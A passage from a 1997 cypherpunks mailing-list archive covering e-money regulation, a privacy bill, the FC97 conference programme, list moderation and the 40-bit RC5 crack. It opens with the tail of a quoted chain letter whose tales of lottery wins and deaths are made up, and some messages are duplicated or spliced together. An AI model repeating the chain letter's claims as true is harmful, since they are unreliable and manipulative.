luck. Don't send > money as fate has no price. Do not keep this letter. It must leave your > hands in 96 hours. An Air Force officer received $70,000 in four days. Joe > Elliot received $40,000 and lost it because he broke the chain. While in the > Philippines, Gene Wolf lost his wife six days after receiving this letter. H > failed to circulate the letter. However, before he death, she won $50,000 in > a lottery. The money was transferred to him four days after he decided to > mail this letter. Please make twenty copies of this letter and see what > happens in four days. The chain comes from South Venezuela and was written b > Saint Anthony Decroc, a missionary from South America. Since the copy must > make a tour of the world, you must make twenty copies and send them to your > friends and associates. After a few days you will get a surprise. This is > true even though you are not superstitious. So note the following: > Constantine Dens received the chain in 1958. He asked his secretary to make > twenty copies and send them out. A few days later he won the lottery of 2 > million dollars. Andy Doddit, and office employee, received a letter and > forgot it had to leave his hands within 96 hours, he lost his job. Later, > after finding the letter again, he mailed out twenty copies. A few days late > he got a better job. > Please send no money. Please don't ignore this. IT DOES WORK. > > > > --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dekkard at sprynet.com Thu Feb 6 11:22:31 1997 From: dekkard at sprynet.com (Derrick Storren) Date: Thu, 6 Feb 1997 11:22:31 -0800 (PST) Subject: FinCEN hates cybercash, who 'da thunk it... Message-ID: <199702061922.LAA28357@toad.com> Big brother, Morris, at FinCEN sees a criminal behind every cyber dollar. The sky is falling, the sky is falling, it's raining cyber cash! Artilce follows :) ****************** =09=09_G7 groups frets over electronic money laundering_ Copyright =A9 1997 Nando.net Copyright =A9 1997 Agence France-Presse=20 PARIS (Feb 6, 1997 11:30 a.m. EST) - Money-laundering fighters from key industrial countries and leading Asian financial centers are looking into ways of countering use of the Internet and "smart cards" to clear proceeds from criminal activities, officials said Thursday. The Financial Action Task Force (FATF), set up following a Group of Seven initiative at their l989 summit, called in a lengthy report for closer cooperation and coordinated efforts to fight money laundering, especially in regard to new electronic payments technologies. The report noted that these technologies were still "in their infancy" and said it was "premature to consider prescriptive solutions to theoretical problems." But Stanley Morris of the United States Treasury, who chaired a FAFT working group which drafted the report, told a news conference that law enforcement agencies would face 'very major new challenges' if new technology moves the world "to a cashless society, beyond banks, cash and borders." He said the group's meeting, held in Paris last November, was the first time an international organization has examined "the implications of e-money - electronic money - or cyber payments." The group had for the first time examined "not only criminal activity as we see it" at present, but "what kind of crominal activites might occur as we approach the new payments technologies relying on the revolution in microchips and .. changes in payments services generally." Morris, who heads the U.S. Treasury's Financial Crimes Enforcement Network (FinCEN), said cash had become "a significant problem" for criminal groups, which find it increasingly difficult to channel their criminal proceeds into the banking system, at least in FATF countries. "We find a clear move away from direct dealing with banks to non-bank institutions, including bureaux de change money order sellers, and even professional services like lawyers and accountants," he said. The group had also seen "the realities of economic globalization," he said, adding that financial activities are "poorly controlled by the nation states." Morris said the working group had therefore invited representatives of the high technology industry now working on the new payments technology which was still "in the prototype stage" without any clear indication as to the direction they might take. "We wanted to sit down with the industry as experts on money laundering enforcement.... to let them know now what kinds of systems would cause us problems and give the bad guys new opportunities," he said. The purpose was to seek to encourage development of these technologies "in ways that do not provide a new forum for money laundering," he said. The FATF was essentially a preventive business, Morris added. "We do not measure our success simply on arrests and (money) seizures." FATF chairman Fernando Carpentieri, the Director General of the Italian Treasury, said drug trafficking remained a key source of criminal proceeds which crime groups were seeking to "legalize." He said the Task Force, consisting mainly of OECD member countries, as well as Hongkong, Singapore, the Gulf Cooperation Council and the European Commission, was not at present considering admitting further members to preserve its efficiency. But it was working with the authorities of countries throughout the world to secure the broadest possible implementation of the anti-money laundering measures it has recommended.> G7 groups frets over electronic money laundering From rah at shipwright.com Thu Feb 6 11:22:38 1997 From: rah at shipwright.com (Robert Hettinga) Date: Thu, 6 Feb 1997 11:22:38 -0800 (PST) Subject: Blessing in Disguise? (H.R. 98, the "Consumer Internet Privacy Protection Act of 1997") Message-ID: <199702061922.LAA28377@toad.com> This attempted legislation (see forward, below) is a blessing in disguise. It's just more proof that book-entry commerce isn't going to work on the net in the long run. SET looks like it's having problems with Japanese commerce rules, which is another example of this problem. Cash settlement between blinded pseudonyms fixes all of these problems. I like to joke that if digital commerce is flight, then book entry settlement is Boyle's Law, and cryptography is Bernoulli's law, viz, + Sending a credit card in the clear is jumping off a cliff. The height of the cliff you jump off is related to the number of times you send an unencrypted credit card number and the amount you charge. Credit card companies aren't going to be guaranteeing all those trades much longer if they lose too much money. + First Virtual is a tethered balloon. You're up in the air, but you don't know what for, because all the action is happening on the ground. ;-). + SET, Cybercash/coin, SSL, and other encrypted-channel book entry methods, is a derigeble. You're flying, but you're using minimally strong crypto like little aerodynamic fins to push the giant gas bag of book-entry settlement around. + Digital bearer certificate technology, like ecash, or MicroMint, or Millicent, is an airplane. It "flys" with "wings" of strong cryptography, which gives us reputation capital and enforcement, and instantly settled microintermediated transactions. Thus, like aerodynamic flight, it will be faster, cheaper, and easier to use than book-entry "derigible" transaction methods. Cheers, Bob Hettinga --- begin forwarded text Date: Thu, 6 Feb 1997 11:24:09 EST Reply-To: Law & Policy of Computer Communications Sender: Law & Policy of Computer Communications From: "Jonathan I. Ezor" Subject: Congressional Bill worse for 'Net than CDA? (crosspost) Comments: To: wwwac at echonyc.com, noend at laguna.taos.com, isales at mmgco.com, imarcom at internet.com To: CYBERIA-L at LISTSERV.AOL.COM Sorry for the crossposting, but I felt this one might be important enough to do it. The following is a shortened version of an article I've written for my firm's client newsletter about H.R. 98, the "Consumer Internet Privacy Protection Act of 1997", introduced by Rep. Bruce Vento (D. MN) on January 7, 1997. As the article describes, if the bill were enacted as drafted, Internet commerce could conceivably be stopped dead in its tracks, along with most of the reduced-fee-for-demographics online services. Privacy is quite important, and many of us have worked and are working extremely hard to protect privacy appropriately while still providing convenient services to users, but this bill is way beyond a reasonable approach. I haven't seen much discussion about this bill, but it's now in committee, and the time to act may be upon us. Feel free to e-mail/call/fax/talk to me with any further questions. I look forward to your feedback. {Jonathan} Jonathan I. Ezor New Media Attorney, Davis & Gilbert, 1740 Broadway, New York, NY 10019 Tel: 212-468-4989 Fax: 212-468-4888 E-mail: jezor at newmedialaw.com -----------------------------Cut here------------------------------- Congress Tackles Internet Privacy Recently, there has been significant press coverage over real and rumored revelations of personal information such as Social Security numbers by online services, including the alleged availability (later shown to be untrue) of mothers' maiden names and Social Security numbers on LEXIS' P-Trak database, and various governmental bodies have held hearings on issues of online privacy. On January 7, 1997, Representative Bruce F. Vento (D. MN) introduced the "Consumer Internet Privacy Protection Act of 1997," (H.R. 98) This bill provides that "an interactive computer service shall not disclose to a third party any personally identifiable information provided by a subscriber to such service without the subscriber's prior informed written consent." It requires online services to provide an express opt-out for subscribers at any time, prohibits services from knowingly distributing false information about users, and also mandates giving subscribers access to the information maintained about them for review, updates and corrections, as well as the identity of the party receiving the information, at no charge. The bill authorizes the Federal Trade Commission to "to examine and investigate an interactive computer service to determine whether such service has been or is engaged in any act or practice prohibited by this Act," and to issue a cease and desist order. Notably, it also provides that an individual may sue the violator directly without having to go through the FTC. As a general matter, this bill enacts the practice of many online services and sites, and the position of most self-regulatory industry groups, by asking consent before revealing personally-identifiable information. But the bill goes well beyond the ordinary industry practice by requiring "prior informed written consent," which is defined in this bill as "a statement-- (A) in writing and freely signed by a subscriber; (B) consenting to the disclosures such service will make of the information provided; and (C) describing the rights of the subscriber under this Act." What this could conceivably mean is that services which have all of their registration online may be unable to fulfill this requirement. Additionally, the bill is unclear about which online services will be subject to its provisions. It defines "interactive computer service" as "any information service that provides computer access to multiple users via modem to the Internet." This certainly covers dedicated Internet service providers (ISP's) and combination proprietary/Internet services like America Online and MSN. The bill may also cover services which depend on their ability to reveal certain information to advertisers in exchange for offering free Internet e-mail to their users. Beyond that, purely Web-based services may fall into the purview of this bill, depending on whether providing access via modem requires that the modem dial directly into the service in question or not. Theoretically, this bill could even prevent online purchases absent a signed authorization form from each purchaser, because a service would have to reveal the name and address of the purchaser to the seller in order for the goods to be delivered. Even more troubling, the bill does not even provide an exception for information shared between a service owner and the company owning the computer hosting the service, regardless of whether there is a contractual obligation for confidentiality, since the hosting company has access to the information collected by the service about its users. As with other bills of this type, it is important for any company intending to offer Internet-related services to individuals to follow and perhaps attempt to affect the path of the Consumer Internet Privacy Protection Act of 1997, since it could have significant impact on planned services, revenue sources and per-subscriber costs. For those interested in forestalling this type of governmental action, the best response may be to accelerate self-regulatory initiatives to deal with the valid concerns of consumers who may be providing information about themselves and their buying habits, either in the process of registration or while using the service. At the same time, the self-regulatory bodies can create rules based on the actual business practices and realities of their members, rather than drafting with a broad brush as Congress does in so many instances. If companies are going to be able to take the greatest economic advantage of the interactivity of the Internet as opposed to traditional broadcast and print media, there needs to be some way of legally and ethically utilizing information provided by subscribers in order both to enhance the subscribers' experience and to gain revenue through appropriate business relationships with advertisers, retailers, and others who may wish access to consumers. Copyright 1997 Jonathan I. Ezor, Davis & Gilbert. All rights reserved. Jonathan I. Ezor is an attorney with Davis & Gilbert in New York City, practicing new media and computer law, focusing on the advertising industry. Mr. Ezor can be reached at jezor at newmedialaw.com. --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From R.Hirschfeld at cwi.nl Thu Feb 6 11:22:40 1997 From: R.Hirschfeld at cwi.nl (R.Hirschfeld at cwi.nl) Date: Thu, 6 Feb 1997 11:22:40 -0800 (PST) Subject: revised FC97 program Message-ID: <199702061922.LAA28379@toad.com> Financial Cryptography '97 February 24-28 1997, Anguilla, BWI PRELIMINARY PROGRAM (Revised 6 February 1997) General Information: Financial Cryptography '97 (FC97) is a new conference on the security of digital financial transactions. The first meeting will be held on the island of Anguilla in the British West Indies on February 24-28, 1997. FC97 aims to bring together persons involved in both the financial and data security fields to foster cooperation and exchange of ideas. Original papers were solicited on all aspects of financial data security and digital commerce in general. Program Committee: Matthew Franklin, AT&T Laboratories--Research, Murray Hill, NJ, USA Michael Froomkin, U. Miami School of Law, Coral Gables, FL, USA Rafael Hirschfeld (Program Chair), CWI, Amsterdam, The Netherlands Arjen Lenstra, Citibank, New York, NY, USA Mark Manasse, Digital Equipment Corporation, Palo Alto, CA, USA Kevin McCurley, Sandia Laboratories, Albuquerque, NM, USA Charles Merrill, McCarter & English, Newark, NJ, USA Clifford Neuman, Information Sciences Institute, Marina del Rey, CA, USA Sholom Rosen, Citibank, New York, NY, USA Israel Sendrovic, Federal Reserve Bank of New York, New York, NY, USA Preliminary Conference Program for FC97: Monday 24 February 1997 800 -- 820 Breakfast 820 -- 830 Welcome 830 -- 905 Anonymity Control in E-Cash Systems George Davida (University of Wisconsin, Milwaukee, WI, USA), Yair Frankel (Sandia National Laboratories, Albuquerque, NM, USA), Yiannis Tsiounis (Northeastern University, Boston, MA, USA), Moti Yung (CertCo, New York, NY, USA) 905 -- 940 How to Make Personalized Web Browsing Simple, Secure, and Anonymous Eran Gabber, Phil Gibbons, Yossi Matias, Alain Mayer (Bell Laboratories, Lucent Technologies) 940 -- 1015 Anonymous Networking and Virtual Intranets: Tools for Anonymous Corporations Jim McCoy (Electric Communities, Cupertino, CA, USA) 1015 -- 1045 Coffee Break 1045 -- 1120 Unlinkable Serial Transactions Paul F. Syverson (Naval Research Laboratory, Washington, DC, USA), Stuart G. Stubblebine (AT&T Labs--Research, Murray Hill, NJ, USA), David M. Goldschlag (Naval Research Laboratory, Washington, DC, USA) 1120 -- 1155 Efficient Electronic Cash with Restricted Privacy Cristian Radu, Rene Govaerts, Joos Vandewalle (Katholieke Universiteit Leuven, Leuven, Belgium) 1155 -- 1230 The SPEED Cipher Yuliang Zheng (Monash University, Melbourne, Australia) 1230 -- 1330 Lunch 1800 -- 1930 Cocktail Reception (at Mariners Hotel) Tuesday 25 February 1997 800 -- 830 Breakfast 830 -- 930 Invited Speaker Evaluating the security of electronic money; the view of a European central bank Simon L. Lelieveldt (De Nederlandsche Bank, Amsterdam, Netherlands) 930 -- 1005 Smart Cards and Superhighways The technology-driven denationalisation of money David G.W. Birch, Neil A. McEvoy (Hyperion, Surrey, England) 1005 -- 1045 Coffee Break 1045 -- 1120 Fault Induction Attacks, Tamper Resistance, and Hostile Reverse Engineering in Perspective David P. Maher (AT&T Labs--Research, Murray Hill, NJ, USA) 1120 -- 1155 Some Critical Remarks on "Dynamic Data Authentication" as specified in EMV '96 Louis C. Guillou (CCETT, Cesson-Sevigne, France) 1155 -- 1230 Single-chip implementation of a cryptosystem for financial applications Nikolaus Lange (SICAN Braunschweig GmbH, Braunschweig, Germany) 1230 -- 1330 Lunch Wednesday 26 February 1997 800 -- 830 Breakfast 830 -- 930 Invited Speaker Ronald Rivest (MIT Lab for Computer Science, Cambridge, MA, USA) 930 -- 1005 Auditable Metering with Lightweight Security Matthew K. Franklin, Dahlia Malkhi (AT&T Labs--Research, Murray Hill, NJ, USA) 1005 -- 1045 Coffee Break 1045 -- 1120 SVP: a Flexible Micropayment Scheme Jacques Stern, Serge Vaudenay (Ecole Normale Superieure, Paris, France) 1120 -- 1155 An efficient micropayment system based on probabilistic polling Stanislaw Jarecki (MIT Lab for Computer Science, Cambridge, MA, USA), Andrew Odlyzko (AT&T Labs--Research, Murray Hill, NJ, USA) 1155 -- 1230 On the continuum between on-line and off-line e-cash systems - I Yacov Yacobi (Microsoft, Redmond, WA, USA) 1230 -- 1330 Lunch Thursday 27 February 1997 800 -- 830 Breakfast 830 -- 905 Towards Multiple-payment Schemes for Digital Money H. Pagnia, R. Jansen (University of Darmstadt, Darmstadt, Germany) 905 -- 940 Applying Anti-Trust Policies to Increase Trust in a Versatile E-Money System Markus Jakobsson (UCSD, La Jolla, CA, USA), Moti Yung (BTEC/CertCo, New York, NY, USA) 940 -- 1015 Cyberbanking and Privacy: The Contracts Model Peter P. Swire (Ohio State University, Columbus, OH, USA) 1015 -- 1045 Coffee Break 1045 -- 1120 Legal Issues in Cryptography Edward J. Radlo (Fenwick & West LLP, Palo Alto, CA, USA) 1120 -- 1230 Panel Discussion Legal Issues of Digital Signatures Michael Froomkin (U. of Miami School of Law, Coral Gables, FL, USA), Charles Merrill (McCarter & English, Newark, NJ, USA), Benjamin Wright (Dallas, TX, USA) 1230 -- 1330 Lunch 1930 -- 2015 Invited Speaker Money Laundering: Yesterday, Today and Tomorrow Peter Wayner (Baltimore, MD, USA) 2015 -- 2200 Rump Session Friday 28 February 1997 800 -- 830 Breakfast 830 -- 905 The Strategic Role of Government in Electronic Commerce Paul Lampru (Verifone, Atlanta, GA, USA) 905 -- 940 Using Markets to Achieve Efficient Task Distribution Ian Grigg, Christopher C. Petro (Systemics, Amsterdam, Netherlands) 940 -- 1015 The Gateway Security Model in the Java Electronic Commerce Framework Theodore Goldstein (Sun Microsystems Laboratories/Javasoft) 1015 -- 1045 Coffee Break 1045 -- 1120 Highly Scalable On-line Payments Via Task Decoupling David William Kravitz (CertCo LLC, Albuquerque, NM, USA) 1120 -- 1155 GUMP; Grand Unified Meta-Protocols Recipes for Simple, Standards-based Financial Cryptography Barbara Fox, Brian Beckman (Microsoft, Redmond, WA, USA) 1155 -- 1230 Secure Network Communications and Secure Store&Forward Mechanisms with SAP R/3 Bernhard Esslinger (SAP AG, Walldorf, Germany) 1230 -- 1330 Lunch Updates of the conference schedule will be available at the URL http://www.cwi.nl/conferences/FC97/. The conference will run from 8:30 AM to 12:30 PM for five days, February 24-28 1997. Breakfast and lunch are provided at the conference. The conference organizers have left the afternoons and evenings open for corporate sponsored events, for networking, and for recreational activities on the resort island of Anguilla. Participants are encouraged to bring their families. Workshop: A 40-hour workshop, intended for anyone with commercial software development experience who wants hands-on familiarity with the issues and technology of financial cryptography, is planned in conjunction with FC97, to be held during the week preceding the conference. For more information on the workshop, please see the URL http://www.cs.berkeley.edu/~iang/fc97/workshop.html. For workshop registration, see the URL http://www.offshore.com.ai/fc97/. Venue: The InterIsland Hotel is a small 14-room guest house and a large, comfortable 150 seat conference facility with additional space for a small 10-booth exhibition. The Inter-Island is on Road Bay, near Sandy Ground Village, in the South Hill section of Anguilla. The conference, workshop, and exhibition will have TCP/IP internet access. The rooms at the InterIsland itself have sold out, but there are many other hotels and guest houses on Anguilla, and shuttle service to the conference will be available. Air Transportation and Hotels: Air travel to Anguilla is typically done through either San Juan or St. Thomas for US flights, or St. Maarten/Martin for flights from Europe and the US. Anguillan import duties are not imposed on hardware or software which will leave the island again. There are no other taxes--or cryptography import/export restrictions--on Anguilla. Hotels range from spartan to luxurious, and more information about hotels on Anguilla can be obtained from your travel agent, or at the URL http://www.offshore.com.ai/fc97/. General Chairs: Robert Hettinga, Shipwright/e$, Boston, MA, USA; rah at shipwright.com Vincent Cate, Offshore Information Services, Anguilla, BWI; vince at offshore.com.ai Conference, Exhibits, and Sponsorship Manager: Julie Rackliffe, Boston, MA, USA; rackliffe at tcm.org Workshop Leader: Ian Goldberg, Berkeley, CA, USA; iang at cs.berkeley.edu Registration: You can register and pay for conference admission via the World Wide Web at the URL http://www.offshore.com.ai/fc97/. The cost of the FC97 Conference is US$1,000. Booths for the exhibition start at US$5,000 and include two conference tickets. For more information about exhibit space, contact Julie Rackliffe, rackliffe at tcm.org. Sponsorship opportunities for FC97 are still available. The cost of the workshop is US$5000, and includes meals but not lodging. You can register for the workshop, which runs the week prior to the conference, at the URL http://www.offshore.com.ai/fc97. Financial Cryptography '97 is held in cooperation with the International Association for Cryptologic Research. It is sponsored by: The Journal for Internet Banking and Commerce Offshore Information Services e$ C2NET See Your Name Here From paul at fatmans.demon.co.uk Thu Feb 6 11:22:45 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Thu, 6 Feb 1997 11:22:45 -0800 (PST) Subject: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?! Message-ID: <855255622.101312.0@fatmans.demon.co.uk> > Tim, the Cypherpunks have chosen to follow Sandy's lead for this > month. I'll admit I made it easy for them, but the results are > conclusive. There are 1311 addresses in the cypherpunks list today; > 42 in the unedited list; and 19 in the flames list. Forty people > cared enough to read every posting; the other thousand either wanted > to try the experiment -- or didn't care enough to send an email > message. Which, as we all know, is a very low threshold. As I, and a number of other list members, have said: Why did you not rename the lists so that cypherpunks at toad.com was uncensored??? You and I know perfectly well that probably 1250 of those addresses are people who don`t know the censorship is taking place, don`t read the list (defunct accounts), don`t know how to change their subscription, are too lazy to care either way etc... I would guess there are less than 100 that have considered the issues and decided to subscribe to the censored list. > If I was a social scientist I might want to run the experiment both > ways, or six different ways. Name it this, or name it that. I'm not; > all I want is something that works. The cypherpunks list was unusable > for this kind of discussion, only a month ago. It's usable now. No, it was usable to those with time and patience or the rather rudimentary knowledge necessary to set up filters. Now all we are doing is relegating a list that was once subscribed to by intelligent and well educated people into a playground for the inept. I`m not being elitist but if we can`t expect a member of this list who actually uses it for discussion to know how to set up filters then he might as well unsubscribe. > Perhaps at that point I should have shut down the list, as Lucky is > now suggesting. "Asking the list what to do" was clearly not a useful > option. Sandy cared enough about the community to make some concrete > suggestions to me about how to get the list back on track. They > involved a lot more work than the previous setup. I told him if he > was willing to do the work, we could try it. As Dale suggests, I > wasn't about to waste my time reading the whole list in real time and > passing judgement on the postings. Sandy was, for a month. You should indeed have shut down the list. The problem being not that you choose to run a censored list but that you have associated the name cypherpunks with it and in doing so you have destroyed the reputation that the name cypherpunks once had. > Unpaid labor for a peanut gallery of spoiled children isn't very > gratifying. Paternalism is the root of all statism. Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From aba at dcs.ex.ac.uk Thu Feb 6 12:05:23 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Thu, 6 Feb 1997 12:05:23 -0800 (PST) Subject: Deloitte-Touche? In-Reply-To: <199702052256.OAA06322@toad.com> Message-ID: <199702062003.UAA00333@server.test.net> Mark writes: > I'm almost certain that Murray is a consultant rather than > or in addition to an accountant. He's been saying these things William Murray used to post frequently to sci.crypt, alt.security.pgp, etc when I read those forums. He also I think wrote the forword for one of the books on using PGP. Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Rodney Thayer +1 617 332 7292 Sable Technology Corp, 246 Walnut St., Newton MA 02160 USA Fax: +1 617 332 7970 http://www.shore.net/~sable "Developers of communications software" From aba at dcs.ex.ac.uk Thu Feb 6 12:42:45 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Thu, 6 Feb 1997 12:42:45 -0800 (PST) Subject: Deloitte-Touche? Message-ID: <199702062042.MAA29621@toad.com> Mark writes: > I'm almost certain that Murray is a consultant rather than > or in addition to an accountant. He's been saying these things William Murray used to post frequently to sci.crypt, alt.security.pgp, etc when I read those forums. He also I think wrote the forword for one of the books on using PGP. Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Message-ID: <3.0.1.32.19970206154731.0078ee50@panix.com> -----BEGIN PGP SIGNED MESSAGE----- >But Stanley Morris of the United States Treasury, who chaired a FAFT >working group which drafted the report, told a news conference that >law enforcement agencies would face 'very major new challenges' if new >technology moves the world "to a cashless society, beyond banks, cash >and borders." Oh No! First they told us that they were all in favor of a cashless society because they could track all the transactions. It was their Orwellian Dream. Now Nirvana has almost arrived and they're afraid of it. Can't they make up their minds? I noticed the problem long about 1975 when I noticed that the spread of ATM cards was actually the spread of a bearer instrument and would not satisfy the control needs of the regulatory types. DCF -----BEGIN PGP SIGNATURE----- Version: 4.5 iQCVAgUBMvpDW4VO4r4sgSPhAQFNzQP/TOFgteQk7mry+GSqew1Yee4i24oOwJKS HWIkmkekJB+JeaYiR3/od78ZfJUchJR6iH3isKD4a3ijofpGstXWKrmHGpPpZUJu 9ng7MxOn4fYOWSzcP2TnNOjq5rc6IA2ROahGD2OHkHPYp8bjS36ssbu1GmGbHofQ pvkUXNxrdIk= =VKtO -----END PGP SIGNATURE----- From paul at fatmans.demon.co.uk Thu Feb 6 12:42:58 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Thu, 6 Feb 1997 12:42:58 -0800 (PST) Subject: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?! Message-ID: <199702062042.MAA29640@toad.com> > Tim, the Cypherpunks have chosen to follow Sandy's lead for this > month. I'll admit I made it easy for them, but the results are > conclusive. There are 1311 addresses in the cypherpunks list today; > 42 in the unedited list; and 19 in the flames list. Forty people > cared enough to read every posting; the other thousand either wanted > to try the experiment -- or didn't care enough to send an email > message. Which, as we all know, is a very low threshold. As I, and a number of other list members, have said: Why did you not rename the lists so that cypherpunks at toad.com was uncensored??? You and I know perfectly well that probably 1250 of those addresses are people who don`t know the censorship is taking place, don`t read the list (defunct accounts), don`t know how to change their subscription, are too lazy to care either way etc... I would guess there are less than 100 that have considered the issues and decided to subscribe to the censored list. > If I was a social scientist I might want to run the experiment both > ways, or six different ways. Name it this, or name it that. I'm not; > all I want is something that works. The cypherpunks list was unusable > for this kind of discussion, only a month ago. It's usable now. No, it was usable to those with time and patience or the rather rudimentary knowledge necessary to set up filters. Now all we are doing is relegating a list that was once subscribed to by intelligent and well educated people into a playground for the inept. I`m not being elitist but if we can`t expect a member of this list who actually uses it for discussion to know how to set up filters then he might as well unsubscribe. > Perhaps at that point I should have shut down the list, as Lucky is > now suggesting. "Asking the list what to do" was clearly not a useful > option. Sandy cared enough about the community to make some concrete > suggestions to me about how to get the list back on track. They > involved a lot more work than the previous setup. I told him if he > was willing to do the work, we could try it. As Dale suggests, I > wasn't about to waste my time reading the whole list in real time and > passing judgement on the postings. Sandy was, for a month. You should indeed have shut down the list. The problem being not that you choose to run a censored list but that you have associated the name cypherpunks with it and in doing so you have destroyed the reputation that the name cypherpunks once had. > Unpaid labor for a peanut gallery of spoiled children isn't very > gratifying. Paternalism is the root of all statism. Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From gnu at toad.com Thu Feb 6 13:02:18 1997 From: gnu at toad.com (John Gilmore) Date: Thu, 6 Feb 1997 13:02:18 -0800 (PST) Subject: "Why am I being completely censored"? In-Reply-To: Message-ID: <199702062102.NAA29965@toad.com> > I'd just appreciate it if someone would explain to me just why > I'm being completely censored from the cypherpunks list. ... > Absolutely none of my recent postings are even going to > cypherpunks-unedited, I've received no response to my mail to > gnu at toad.com asking why, and I've received absolutely no bounces > indicating that there are delivery problems. I haven't investigated your story because you didn't provide enough details and because I have been busy with other things. There is no infrastructure here for blocking postings from going through cypherpunks-unedited. It really is unedited. Perhaps there is a mailer problem (at your end or at mine). If you cc'd yourself on your messages to cypherpunks, please send me a verbatim copy of such a message that did not appear in cypherpunks-unedited, including all the header lines. I can trace whether it was ever seen on the toad.com end and what happened if it was. Hmm. Your message that I just received, about this problem, was cc'd to cypherpunks. It did not make it into the cypherpunks-unedited list. In examining the message header itself, there is an "Approved: yes" line. My guess is that your attempt to be too tricky has screwed you. Majordomo is probably zapping postings that claim to be, but aren't actually, moderator-approved. This is just a guess. Please try making a posting to cypherpunks without such a line, and see if it goes through into the unedited list. Let me know. John From vin at shore.net Thu Feb 6 13:17:04 1997 From: vin at shore.net (Vin McLellan) Date: Thu, 6 Feb 1997 13:17:04 -0800 (PST) Subject: 40-bit RC5 crack meaningless?? Message-ID: (A gem off sci.crypt. Schwartau's mailing list is turning into the most amazing source of misinformation or disinformation about cryptography on the Net. And he's probably got the most influential audience in Washington re crypto policy. Go figure;-) ---------------- Subject: 40-bit RC5 crack meaningless?? Date: 6 Feb 1997 11:43:58 -0500 From: nobody at REPLAY.COM (Anonymous) Organization: Replay and Company UnLimited Newsgroups: sci.crypt Strassmann, the author of this denunciation of RSADS and Ian Goldberg, is the former Director of Defense Information (i.e., CIO,) of the Bush DoD and an often-insightful commentator on business culture and computing. Strange is the logic that channels the mind of the American Defense Intellectual... or, maybe he just doesn't know squat about cryptography??? (Reposted from Infowar Digest, Winn Schwartau's moderated mailing list without permission.) >Date: Thu, 30 Jan 1997 20:10:36 -0500 >To: "Wright Larry" >From: "Paul A. Strassmann" >Subject: Further to Goldberg's Cracking Accomplishments >Gentlemen: > >As I suspected (see earlier private comment), the >highly promoted RSA cracking contest offered >a number of clues that ordinarly would not be >volunteered by info-terrorists or info-criminals to >IW Defense teams. > >These clues made the cracking significantly easier, >because it made it possible to eliminate an enormous >range of possible searches. > >The following was extracted verbatim from the > >posted on : > >Clue #1: > > " ...all the RC5 contests posted as part of the RSA Secret-Key Challenge >will use 12-round RC5 with a 32-bit word size. " > >Clue #2: > > " ...The first RC5 contest will consist of some unknown plaintext >encrypted using a 40-bit key;." > >Clue #3: (a giveway!) > > " ... For each contest, the unknown plaintext message is preceded by three > known blocks of text that contain the 24-character phrase "The > unknown message is: .....". > >In summary: The claim of exportable cryptography being totally >insecure, because it can be cracked in 3.5 hours is not >realistic. The three clues announced in the contest >would not apply under infowar conditions. > >What other clues may have been provided to Goldberg >to support private agendas and gain shrill headlines >is also a matter of speculation, but I rest my case. > >I certainly cannot assert that a 40 bit key cannot be decyphered. >However, I do not think that the RSA unqualified claims >offer full and appropriate disclosure. > >Paul > >At 10:21 AM -0500 1/30/97, Wright Larry wrote: >>Following provided for your information. >> >> >>EXPORTABLE CRYPTOGRAPHY TOTALLY INSECURE: CHALLENGE >>CIPHER BROKEN IMMEDIATELY >> >>January 28, 1997 - Ian Goldberg, a UC Berkeley graduate >>student, announced today that he had successfully >>cracked RSA Data Security Inc.'s 40-bit challenge cipher >>in just under 3.5 hours. >> >>RSA challenged scientists to break their encryption >>technology, offering a $1000 award for breaking the >>weakest version of the code. Their offering was >>designed to stimulate research and practical experience >>with the security of today's codes. >> >>The number of bits in a cipher is an indication of the >>maximum level of security the cipher can provide. Each >>additional bit doubles the potential security level of >>the cipher. A recent panel of experts recommended >>using 90-bit ciphers, and 128-bit ciphers are commonly >>used throughout the world, but US government regulations >>restrict exportable US products to a mere 40 bits. >> >>Goldberg's announcement, which came just three and a >>half hours after RSA started their contest, provides >>very strong evidence that 40-bit ciphers are totally >>unsuitable for practical security. "This is the >>final proof of what we've known for years: 40-bit >>encryption technology is obsolete," Goldberg said. <...Rest of the nnouncement from UC Berkeley snipped> >Paul A. Strassmann >55 Talmadge Hill Road, New Canaan, CT. 06840 >Telephone: 203-966-5505; Fax: 203-966-5506 >INTERNET: paul at strassmann.com >WorldwideWeb: http://www.strassmann.com >~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > From c.musselman at internetmci.com Thu Feb 6 13:20:44 1997 From: c.musselman at internetmci.com (Charley Musselman) Date: Thu, 6 Feb 1997 13:20:44 -0800 (PST) Subject: anonymous remailers Message-ID: <32fa39d8.16371604@mail-relay.internetmci.com> C'punks -- When I told a friend about the alt.drugs.pot cultivation newsgroup and suggested that he use an anonymous remailer to post to the group, he laughed and said, "Who do you suppose runs the remailers? ATF, FBI, DEA, that's who!" Gee, it makes sense to this paranoid. Does anyone know the answer? Specifically, how can we choose a trusted remailer? Cheers (?), Charley From chow at niven.imsweb.net Thu Feb 6 13:30:45 1997 From: chow at niven.imsweb.net (Brian Adrian) Date: Thu, 6 Feb 1997 13:30:45 -0800 